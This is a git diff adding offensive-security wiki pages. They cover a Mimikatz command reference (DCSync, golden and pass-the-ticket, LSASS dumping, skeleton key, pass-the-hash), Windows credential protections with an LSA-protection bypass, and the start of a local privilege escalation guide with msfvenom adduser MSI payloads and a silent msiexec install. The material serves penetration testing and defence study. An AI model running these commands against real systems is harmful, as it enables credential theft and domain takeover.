+* **/**target – the target domain’s FQDN.
+* **/**service – the kerberos service running in the target domain \(krbtgt\).
+* **/**rc4 – the NTLM hash for the service kerberos service account \(krbtgt\).
+* **/**ticket – provide a path and name for saving the forged ticket file to for later use or use /ptt to immediately inject the golden ticket into memory for use.
+
+#### **More KERBEROS**
+
+**KERBEROS::List** – List all user tickets \(TGT and TGS\) in user memory. No special privileges required since it only displays the current user’s tickets.  
+****Similar to functionality of “klist”.
+
+**KERBEROS::PTC** – pass the cache \(NT6\)  
+\*Nix systems like Mac OS, Linux,BSD, Unix, etc cache Kerberos credentials. This cached data can be copied off and passed using Mimikatz. Also useful for injecting Kerberos tickets in ccache files.
+
+A good example of Mimikatz’s kerberos::ptc is when [exploiting MS14-068 with PyKEK](https://adsecurity.org/?p=676). PyKEK generates a ccache file which can be injected with Mimikatz using kerberos::ptc.
+
+[![Mimikatz-PTC-PyKEK-ccacheFile](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-PTC-PyKEK-ccacheFile.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-PTC-PyKEK-ccacheFile.jpg)
+
+**KERBEROS::PTT** – pass the ticket  
+After a [Kerberos ticket is found](https://adsecurity.org/?p=1667), it can be copied to another system and passed into the current session effectively simulating a logon without any communication with the Domain Controller. No special rights required.  
+Similar to SEKURLSA::PTH \(Pass-The-Hash\).
+
+* /filename – the ticket’s filename \(can be multiple\)
+* /diretory – a directory path, all .kirbi files inside will be injected.
+
+[![KerberosUnConstrainedDelegation-Mimikatz-PTT-LS-Ticket2](https://adsecurity.org/wp-content/uploads/2015/09/KerberosUnConstrainedDelegation-Mimikatz-PTT-LS-Ticket2.png)](https://adsecurity.org/wp-content/uploads/2015/09/KerberosUnConstrainedDelegation-Mimikatz-PTT-LS-Ticket2.png)
+
+**KERBEROS::Purge** – purge all Kerberos tickets  
+Similar to functionality of “klist purge”. Run this command before passing tickets \(PTC, PTT, etc\) to ensure the correct user context is used.
+
+[![Mimikatz-Kerberos-Purge](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-Purge.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-Purge.png)
+
+**KERBEROS::TGT** – get current TGT for current user.
+
+[![Mimikatz-Kerberos-TGT](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-TGT.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Kerberos-TGT.png)
+
+### LSADUMP
+
+**LSADUMP**::**DCShadow** – Set the current machines as DC to have the habitability to create new objects inside the DC \(persistent method\).  
+This requires full AD admin rights or KRBTGT pw hash.  
+DCShadow temporarily sets the computer to be a “DC” for the purposes of replication:
+
+* Creates 2 objects in the AD forest Configuration partition.
+* Updates the SPN of the computer used to include “GC” \(Global Catalog\) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” \(AD Replication\). More info on Kerberos Service Principal Names in the [ADSecurity SPN section](https://adsecurity.org/?page_id=183).
+* Pushes the updates to DCs via DrsReplicaAdd and KCC.
+* Removes the created objects from the Configuration partition.
+
+**LSADUMP::DCSync** – ask a DC to synchronize an object \(get password data for account\)  
+[Requires membership in Domain Administrator, domain Administrators, or custom delegation.](https://adsecurity.org/?p=1729)
+
+A major feature added to Mimkatz in August 2015 is “DCSync” which effectively “impersonates” a Domain Controller and requests account password data from the targeted Domain Controller.
+
+**DCSync Options:**
+
+* /all – DCSync pull data for the entire domain.
+* /user – user id or SID of the user you want to pull the data for.
+* /domain \(optional\) – FQDN of the Active Directory domain. Mimikatz will discover a DC in the domain to connect to. If this parameter is not provided, Mimikatz defaults to the current domain.
+* /csv – export to csv
+* /dc \(optional\) – Specify the Domain Controller you want DCSync to connect to and gather data.
+
+There’s also a /guid parameter.
+
+**DCSync Command Examples:**
+
+Pull password data for the KRBTGT user account in the rd.adsecurity.org domain:  
+_Mimikatz “lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt” exit_
+
+Pull password data for the Administrator user account in the rd.adsecurity.org domain:  
+_Mimikatz “lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator” exit_
+
+Pull password data for the ADSDC03 Domain Controller computer account in the lab.adsecurity.org domain:  
+_Mimikatz  “lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$” exit_
+
+**LSADUMP::LSA** – Ask LSA Server to retrieve SAM/AD enterprise \(normal, patch on the fly or inject\). Use /patch for a subset of data, use /inject for everything. _Requires System or Debug rights._
+
+* /inject – Inject LSASS to extract credentials
+* /name – account name for target user account
+* /id – RID for target user account
+* /patch – patch LSASS.
+
+Often service accounts are members of Domain Admins \(or equivalent\) or a Domain Admin was recently logged on to the computer an attacker dump credentials from. Using these credentials, an attacker can gain access to a Domain Controller and get all domain credentials, including the KRBTGT account NTLM hash which is used to create Kerberos Golden Tickets.
+
+```text
+mimikatz lsadump::lsa /inject exit
+```
+
+**LSADUMP::NetSync**
+
+NetSync provides a simple way to use a DC computer account password data to impersonate a Domain Controller via a Silver Ticket and DCSync the target account’s information including the password data_._
+
+**LSADUMP::SAM** – get the SysKey to decrypt SAM entries \(from registry or hive\). The SAM option connects to the local Security Account Manager \(SAM\) database and dumps credentials for local accounts.
+
+**LSADUMP::Secrets** – get the SysKey to decrypt SECRETS entries \(from registry or hives\).
+
+**LSADUMP::SetNTLM** – Ask a server to set a new password/ntlm for one user.
+
+[**LSADUMP::Trust**](https://adsecurity.org/?p=1588) – Ask LSA Server to retrieve Trust Auth Information \(normal or patch on the fly\).
+
+### MISC
+
+[**MISC::Skeleton**](https://adsecurity.org/?p=1275) – Inject Skeleton Key into LSASS process on Domain Controller.
+
+```text
+"privilege::debug" "misc::skeleton"
+```
+
+### PRIVILEGE
+
+**PRIVILEGE::Backup** – get backup privilege/rights. Requires Debug rights.
+
+**PRIVILEGE::Debug** – get debug rights \(this or Local System rights is required for many Mimikatz commands\).
+
+### SEKURLSA
+
+**SEKURLSA::Credman** – List Credentials Manager
+
+**SEKURLSA::Ekeys** – list Kerberos encryption keys
+
+**SEKURLSA::Kerberos** – List Kerberos credentials for all authenticated users \(including services and computer account\)
+
+**SEKURLSA::Krbtgt** – get Domain Kerberos service account \(KRBTGT\)password data
+
+**SEKURLSA::SSP** – Lists SSP credentials
+
+**SEKURLSA::Wdigest** – List WDigest credentials
+
+**SEKURLSA::LogonPasswords** – lists all available provider credentials. This usually shows recently logged on user and computer credentials.
+
+* Dumps password data in LSASS for currently logged on \(or recently logged on\) accounts as well as services running under the context of user credentials.
+* Account passwords are stored in memory in a reversible manner. If they are in memory \(prior to Windows 8.1/Windows Server 2012 R2 they were\), they are displayed. Windows 8.1/Windows Server 2012 R2 doesn’t store the account password in this manner in most cases. KB2871997 “back-ports” this security capability to  Windows 7, Windows 8, Windows Server 2008R2, and Windows Server 2012, though the computer needs additional configuration after applying KB2871997.
+* Requires administrator access \(with debug rights\) or Local SYSTEM rights
+
+**SEKURLSA::Minidump** – switch to LSASS minidump process context \(read lsass dump\)
+
+**SEKURLSA::Pth** – Pass-the-Hash and Over-Pass-the-Hash \(aka pass the key\).
+
+_Mimikatz can perform the well-known operation ‘Pass-The-Hash’ to run a process under another credentials with NTLM hash of the user’s password, instead of its real password. For this, it starts a process with a fake identity, then replaces fake information \(NTLM hash of the fake password\) with real information \(NTLM hash of the real password\)._
+
+* /user – the username you want to impersonate, keep in mind that Administrator is not the only name for this well-known account.
+* /domain – the fully qualified domain name – without domain or in case of local user/admin, use computer or server name, workgroup or whatever.
+* /rc4 or /ntlm – optional – the RC4 key / NTLM hash of the user’s password.
+* /run – optional – the command line to run – default is: cmd to have a shell.
+
+[![Mimikatz-Sekurlsa-PTH](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Sekurlsa-PTH.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Sekurlsa-PTH.jpg)
+
+**SEKURLSA::Tickets** – Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account.  
+Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions \(users\).
+
+* /export – optional – tickets are exported in .kirbi files. They start with user’s LUID and group number \(0 = TGS, 1 = client ticket\(?\) and 2 = TGT\)
+
+Similar to credential dumping from LSASS, using the sekurlsa module, an attacker can get all Kerberos ticket data in memory on a system, including those belonging to an admin or service.  
+This is extremely useful if an attacker has compromised a web server configured for Kerberos delegation that users access with a backend SQL server. This enables an attacker to capture and reuse all user tickets in memory on that server.
+
+The “kerberos::tickets” mimikatz command dumps the current logged-on user’s Kerberos tickets and does not require elevated rights. Leveraging the sekurlsa module’s capability to read from protected memory \(LSASS\), all Kerberos tickets on the system can be dumped.
+
+Command:  _mimikatz sekurlsa::tickets exit_
+
+* Dumps all authenticated Kerberos tickets on a system.
+* Requires administrator access \(with debug\) or Local SYSTEM rights
+
+### **SID**
+
+The Mimikatz SID module replaces MISC::AddSID. Use SID::Patch to patch the ntds service.
+
+**SID::add** – Add a SID to SIDHistory of an object
+
+[![Mimikatz-SID-add](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-add.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-add.png)
+
+**SID::modify** – Modify object SID of an object
+
+[![Mimikatz-SID-Modify](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-Modify.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-SID-Modify.png)
+
+### **TOKEN**
+
+The Mimikatz Token module enables Mimikatz to interact with Windows authentication tokens, including grabbing and impersonating existing tokens.
+
+**TOKEN::Elevate** – impersonate a token. Used to elevate permissions to SYSTEM \(default\) or find a domain admin token on the box using the Windows API.  
+_Requires Administrator rights._
+
+[![Mimikatz-Token-Elevate1](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate1-1.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate1-1.png)
+
+Find a domain admin credential on the box and use that token: _token::elevate /domainadmin_
+
+[![Mimikatz-Token-Elevate-DomainAdmin](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate-DomainAdmin.jpg)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-Token-Elevate-DomainAdmin.jpg)
+
+**TOKEN::List** – list all tokens of the system
+
+### **TS**
+
+**TS::MultiRDP** – \(experimental\) Patch Terminal Server service to allow multiple users
+
+[![Mimikatz-TS-MultiRDP](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-TS-MultiRDP.png)](https://adsecurity.org/wp-content/uploads/2015/09/Mimikatz-TS-MultiRDP.png)
+
+**TS::Sessions** – List TS/RDP sessions.
+
+![](https://adsecurity.org/wp-content/uploads/2017/11/Mimikatz-TS-Sessions.png)
+
+  
+  
+  
+
+
+
+
diff --git a/windows/stealing-credentials/credentials-protections.md b/windows/stealing-credentials/credentials-protections.md
new file mode 100644
index 00000000000..a7e0464c364
--- /dev/null
+++ b/windows/stealing-credentials/credentials-protections.md
@@ -0,0 +1,116 @@
+# Credentials Protections
+
+## WDigest
+
+[WDigest](https://technet.microsoft.com/pt-pt/library/cc778868%28v=ws.10%29.aspx?f=255&MSPPError=-2147217396) protocol was introduced in Windows XP and was designed to be used with HTTP Protocol for authentication. Microsoft has this protocol **enabled by default in multiple versions of Windows** \(Windows XP — Windows 8.0 and Windows Server 2003 — Windows Server 2012\) which means that **plain-text passwords are stored in the LSASS** \(Local Security Authority Subsystem Service\). **Mimikatz** can interact with the LSASS allowing an attacker to **retrieve these credentials** through the following command:
+
+```text
+sekurlsa::wdigest
+```
+
+This behaviour can be **deactivated/activated setting to 1** the value of _**UseLogonCredential**_ and _**Negotiate**_  in _**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_.  
+If these registry keys **don't exist** or the value is **"0"**, then WDigest will be **deactivated**.
+
+```text
+reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
+```
+
+## LSA Protection
+
+Microsoft in **Windows 8.1 and later** has provided additional protection for the LSA to **prevent** untrusted processes from being able to **read its memory** or to inject code. This will prevent regular `mimikatz.exe sekurlsa:logonpasswords` for working properly.  
+To **activate this protection** you need to set the value _**RunAsPPL**_ in _**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ to 1.
+
+```text
+reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL
+```
+
+### Bypass
+
+It is possible to bypass this protection using Mimikatz driver mimidrv.sys:
+
+![](../../.gitbook/assets/mimidrv.png)
+
+## Credential Guard
+
+**Credential Guard** is a new feature in Windows 10 \(Enterprise and Education edition\) that helps to protect your credentials on a machine from threats such as pass the hash. This works through a technology called Virtual Secure Mode \(VSM\) which utilizes virtualization extensions of the CPU \(but is not an actual virtual machine\) to provide **protection to areas of memory** \(you may hear this referred to as Virtualization Based Security or VBS\). VSM creates a separate "bubble" for key **processes** that are **isolated** from the regular **operating system** processes, even the kernel and **only specific trusted processes may communicate to the processes** \(known as **trustlets**\) in VSM. This means a process in the main OS cannot read the memory from VSM, even kernel processes. The **Local Security Authority \(LSA\) is one of the trustlets** in VSM in addition to the standard **LSASS** process that still runs in the main OS to ensure support with existing processes but is really just acting as a proxy or stub to communicate with the version in VSM ensuring actual credentials run on the version in VSM and are therefore protected from attack. Credential Guard must be turned on and deployed in your organization as it is **not enabled by default.**  
+From [https://www.itprotoday.com/windows-10/what-credential-guard](https://www.itprotoday.com/windows-10/what-credential-guard)  
+More information and a PS1 script to enable Credential Guard [can be found here](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
+
+In this case **Mimikatz cannot do much to bypass** this and extract the hashes from LSASS. But you could always add your **custom SSP** and **capture the credentials** when a user tries to login in **clear-text**.  
+More information about ****[**SSP and how to do this here**](../active-directory-methodology/custom-ssp.md).
+
+Credentials Guard could be **enable in different ways**. To check if it was enabled using the registry you could check the value of the key _**LsaCfgFlags**_ in _**HKLM\System\CurrentControlSet\Control\LSA**_. If the value is **"1"** the it is active with UEFI lock, if **"2"** is active without lock and if **"0"** it's not enabled.  
+This is **not enough to enable Credentials Guard** \(but it's a strong indicator\).  
+More information and a PS1 script to enable Credential Guard [can be found here](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage).
+
+```text
+reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags
+```
+
+## RDP RestrictedAdmin Mode
+
+With Windows 8.1 and Windows Server 2012 R2, new security features were introduced. One of those security features is the _Restricted Admin mode for RDP_. This new security feature is introduced to mitigate the risk of [pass the hash](https://blog.ahasayen.com/pass-the-hash/) attacks.
+
+When you connect to a remote computer using RDP, your credentials are stored on the remote computer that you RDP into. Usually you are using a powerful account to connect to remote servers, and having your credentials stored on all these computers is a security threat indeed.
+
+Using _Restricted Admin mode for RDP_, when you connect to a remote computer using the command, **mstsc.exe /RestrictedAdmin**, you will be authenticated to the remote computer, but **your credentials will not be stored on that remote computer**, as they would have been in the past. This means that if a malware or even a malicious user is active on that remote server, your credentials will not be available on that remote desktop server for the malware to attack.
+
+Note that as your credentials are not being saved on the RDP session if **try to access network resources** your credentials won't be used. **The machine identity will be used instead**.
+
+![](../../.gitbook/assets/ram.png)
+
+From [here](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/).
+
+## Cached Credentials
+
+**Domain credentials** are used by operating system components and are **authenticated** by the **Local** **Security Authority** \(LSA\). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data. This registered security package may be the **Kerberos** protocol or **NTLM**.
+
+**Windows stores the last ten domain login credentials in the event that the domain controller goes offline**. If the domain controller goes offline, a user will **still be able to log into their computer**. This feature is mainly for laptop users that do not regularly log into their company’s domain. The number of credentials that the computer stores can be controlled by the following **registry key, or via group policy**:
+
+```bash
+reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
+```
+
+The credentials are hidden from normal users, even administrator accounts. The **SYSTEM** user is the only user that has **privileges** to **view** these **credentials**. In order for an administrator to view these credentials in the registry they must access the registry as a SYSTEM user.  
+The Cached credentials are stored in the registry at the following registry location:
+
+```text
+HKEY_LOCAL_MACHINE\SECURITY\Cache
+```
+
+**Extracting from Mimikatz**: `lsadump::cache`  
+From [here](http://juggernaut.wikidot.com/cached-credentials).
+
+## Protected Users
+
+When the signed in user is a member of the Protected Users group the following protections are applied:
+
+* Credential delegation \(CredSSP\) will not cache the user's plain text credentials even when the **Allow delegating default credentials** Group Policy setting is enabled.
+* Beginning with Windows 8.1 and Windows Server 2012 R2, Windows Digest will not cache the user's plain text credentials even when Windows Digest is enabled.
+* **NTLM** will **not cache** the user's **plain text credentials** or NT **one-way function** \(NTOWF\).
+* **Kerberos** will **no** longer create **DES** or **RC4 keys**. Also it will **not cache the user's plain text** credentials or long-term keys after the initial TGT is acquired.
+* A **cached verifier is not created at sign-in or unlock**, so offline sign-in is no longer supported.
+
+After the user account is added to the Protected Users group, protection will begin when the user signs in to the device. **From** [**here**](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group)**.**
+
+| Windows Server 2003 RTM | Windows Server 2003 SP1+ | Windows Server 2012, Windows Server 2008 R2, Windows Server 2008 | Windows Server 2016 |
+| :--- | :--- | :--- | :--- |
+| Account Operators | Account Operators | Account Operators | Account Operators |
+| Administrator | Administrator | Administrator | Administrator |
+| Administrators | Administrators | Administrators | Administrators |
+| Backup Operators | Backup Operators | Backup Operators | Backup Operators |
+| Cert Publishers |  |  |  |
+| Domain Admins | Domain Admins | Domain Admins | Domain Admins |
+| Domain Controllers | Domain Controllers | Domain Controllers | Domain Controllers |
+| Enterprise Admins | Enterprise Admins | Enterprise Admins | Enterprise Admins |
+|  |  |  | Enterprise Key Admins |
+|  |  |  | Key Admins |
+| Krbtgt | Krbtgt | Krbtgt | Krbtgt |
+| Print Operators | Print Operators | Print Operators | Print Operators |
+|  |  | Read-only Domain Controllers | Read-only Domain Controllers |
+| Replicator | Replicator | Replicator | Replicator |
+| Schema Admins | Schema Admins | Schema Admins | Schema Admins |
+| Server Operators | Server Operators | Server Operators | Server Operators |
+
+**Table from** [**here**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
+
diff --git a/windows/windows-local-privilege-escalation/README.md b/windows/windows-local-privilege-escalation/README.md
new file mode 100644
index 00000000000..53f15f28857
--- /dev/null
+++ b/windows/windows-local-privilege-escalation/README.md
@@ -0,0 +1,1465 @@
+# Windows Local Privilege Escalation
+
+{% hint style="danger" %}
+Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
+[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
+{% endhint %}
+
+If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
+If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.
+
+### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)\*\*\*\*
+
+## Initial Windows Theory
+
+### Access Tokens
+
+**If you don't know what are Windows Access Tokens, read the following page before continuing:**
+
+{% page-ref page="access-tokens.md" %}
+
+### ACLs - DACLs/SACLs/ACEs
+
+**If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing**:
+
+{% page-ref page="acls-dacls-sacls-aces.md" %}
+
+### Integrity Levels
+
+**If you don't know what are integrity levels in Windows you should read the following page before continuing:**
+
+{% page-ref page="integrity-levels.md" %}
+
+## System Info
+
+### Version info enumeration
+
+Check if the Windows version has any known vulnerability \(check also the patches applied\).
+
+```bash
+systeminfo
+systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
+wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
+wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
+```
+
+```bash
+[System.Environment]::OSVersion.Version #Current OS version
+Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
+Get-Hotfix -description "Security update" #List only "Security Update" patches
+```
+
+### Version Exploits
+
+#### On the system
+
+* _post/windows/gather/enum\_patches_
+* _post/multi/recon/local\_exploit\_suggester_
+* [_watson_](https://github.com/rasta-mouse/Watson)
+* [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _\(Winpeas has watson embedded\)_
+
+**Locally with system infromation**
+
+* [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
+* [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
+
+**Github repos of exploits:**
+
+* \*\*\*\*[https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
+* [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
+* [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
+
+### Environment
+
+Any credential/Juicy info saved in the env variables?
+
+```bash
+set
+dir env:
+Get-ChildItem Env: | ft Key,Value
+```
+
+### PowerShell History
+
+```bash
+ConsoleHost_history #Find the PATH where is saved
+
+type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
+type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
+type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
+cat (Get-PSReadlineOption).HistorySavePath
+cat (Get-PSReadlineOption).HistorySavePath | sls passw
+```
+
+### PowerShell Transcript files
+
+You can learn how to turn this on in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
+
+```bash
+#Check is enable in the registry
+reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
+reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
+reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
+reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
+dir C:\Transcripts
+
+#Start a Transcription session
+Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
+Stop-Transcript
+```
+
+### PowerShell Module Logging
+
+It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results.  
+You can enable this following the link of the last section \(Transcript files\) but enabling "Module Logging" instead of "Powershell Transcription".
+
+```text
+reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
+reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
+reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
+reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
+```
+
+To view the last 15 events from PowersShell logs you can execute:
+
+```bash
+Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
+```
+
+### PowerShell  **Script Block Logging**
+
+It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details.
+
+```text
+reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
+reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
+reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
+reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
+```
+
+The Script Block logging events can be found in Windows Event viewer under following path: _Application and Sevices Logs &gt; Microsoft &gt; Windows &gt; Powershell &gt; Operational_  
+To view the last 20 events you can use:
+
+```bash
+Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
+```
+
+### Internet Settings
+
+```bash
+reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
+reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
+```
+
+### Drives
+
+```bash
+wmic logicaldisk get caption || fsutil fsinfo drives
+wmic logicaldisk get caption,description,providername
+Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
+```
+
+### WSUS
+
+You can compromise the system if the updates are not requested using http**S** but http.
+
+You start by checking if the network uses a non-SSL WSUS update by running the following:
+
+```text
+reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
+```
+
+If you get a reply such as:
+
+```bash
+HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
+      WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
+```
+
+And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` is equals to `1`.
+
+Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored.
+
+In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic.
+
+Read the research here:
+
+{% file src="../../.gitbook/assets/ctx\_wsuspect\_white\_paper \(1\).pdf" %}
+
+#### WSUS CVE-2020-1013
+
+\*\*\*\*[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).  
+Basically, this is the flaw that this bug exploits: 
+
+> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset.
+>
+> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
+
+You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) \(once it's liberated\).
+
+## AlwaysInstallElevated
+
+**If** these 2 registers are **enabled** \(value is **0x1**\), then users of any privilege can **install** \(execute\) **`*.msi`** files as NT AUTHORITY\**SYSTEM**.
+
+```bash
+reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
+```
+
+### Metasploit payloads
+
+```bash
+msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
+msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
+```
+
+If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`**
+
+### PowerUP
+
+Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition \(so you will need GIU access\):
+
+```text
+Write-UserAddMSI
+```
+
+Just execute the created binary to escalate privileges.
+
+### MSI Wrapper
+
+Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines**
+
+{% page-ref page="msi-wrapper.md" %}
+
+### Create MSI with WIX
+
+{% page-ref page="create-msi-with-wix.md" %}
+
+### MSI Installation
+
+To execute the **installation** of the **malicious `.msi`** file in **background:**
+
+```text
+msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
+```
+
+To exploit this vulnerability you can use: _exploit/windows/local/always\_install\_elevated_
+
+## Antivirus and Detectors
+
+### Audit Settings
+
+These settings decide what is being **logged**, so you should pay attention
+
+```text
+reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
+```
+
+### WEF
+
+Windows Event Forwarding, is interesting to know where are the logs sent
+
+```bash
+reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
+```
+
+### LAPS
+
+**LAPS** allows you to **manage the local Administrator password** \(which is **randomised**, unique, and **changed regularly**\) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES.
+
+```bash
+reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
+```
+
